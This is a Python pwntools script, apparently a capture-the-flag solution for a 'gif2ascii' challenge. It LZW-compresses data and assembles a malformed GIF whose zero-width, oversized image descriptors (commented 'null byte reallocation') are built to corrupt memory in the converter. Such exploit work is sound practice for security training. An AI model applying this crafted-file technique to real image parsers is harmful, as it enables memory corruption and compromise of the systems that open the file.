gif2ascii

a.py

from pwn import *
import sys
from math import floor, ceil
from typing import AnyStr

# craft gif: http://giflib.sourceforge.net/whatsinagif/bits_and_bytes.html

ASCII_TO_INT: dict = {i.to_bytes(1, 'big'): i for i in range(256)}
INT_TO_ASCII: dict = {i: b for b, i in ASCII_TO_INT.items()}


def compress(data: AnyStr) -> bytes: # lzw compress
    if isinstance(data, str):
        data = data.encode()
    keys: dict = ASCII_TO_INT.copy()
    n_keys: int = 256
    compressed: list = []
    start: int = 0
    n_data: int = len(data)+1
    while True:
        if n_keys >= 512:
            keys = ASCII_TO_INT.copy()
            n_keys = 256
        for i in range(1, n_data-start):
            w: bytes = data[start:start+i]
            if w not in keys:
                compressed.append(keys[w[:-1]])
                keys[w] = n_keys
                start += i-1
                n_keys += 1
                break
        else:
            compressed.append(keys[w])
            break
    bits: str = ''.join([bin(i)[2:].zfill(9) for i in compressed])
    return int(bits, 2).to_bytes(ceil(len(bits) / 8), 'big')
GIF_HEADER = b"GIF89a"

out = False
if len(sys.argv) > 1:
	out = sys.argv[1]
def get_color_table_256():
	table = b""
	for i in range(0, 0xffffff, 65536):
		y1 = i & 0xff
		y2 = (i>>8)&0xff
		y3 = (i>>16)&0xff
		table += bytes([y3,0xff,y1])
	return table

def craft_header_n_logical(width, height, size_glob):
	w = p16(width)
	h = p16(height)
	g = size_glob&0b111
	packed_field = p8((1<<7)|(g<<4)|g)
	pay = GIF_HEADER + w + h + packed_field + b'\x00\x00'
	return pay

def get_control_ext():
	pay = b"\x21\xf9\x04\x00\x00\x00\x00\x00"
	return pay

def img_desc(width, height, left=0, top=0, packed_field=b"\0"):
	desc = b"\x2c"
	desc += p16(left)
	desc += p16(top)
	desc += p16(width)
	desc += p16(height)
	desc += packed_field
	return desc

def img_data(data):
	min_code = b"\x08"
	pay = min_code
	assert len(data)+1 <= 0xff
	pay += p8(len(data))
	pay += data
	pay += b"\x00"
	return pay

def end():
	return b"\x3b"

gif = craft_header_n_logical(0x18, 0x0a, 0b111)
gif += get_color_table_256()
gif += get_control_ext()
gif += img_desc(width=0x8, height=0x15)
gif += img_data(compress(b"\x20"*0x20+b"\x00"*0x40))
gif += img_desc(width=0, height=0xf1c) # null byte reallocation
gif += img_data(b"\x00"*20)
gif += img_desc(width=0, height=0xf1c) # null byte reallocation
gif += img_data(b"\x00"*20)
gif += img_desc(width=0x18, height=0x0a, packed_field=b"\x0f")
gif += img_data(b"AAAAAAAAA")
gif += end()
print(hexdump(gif))
if out:
	with open(out, "wb") as f:
		f.write(gif)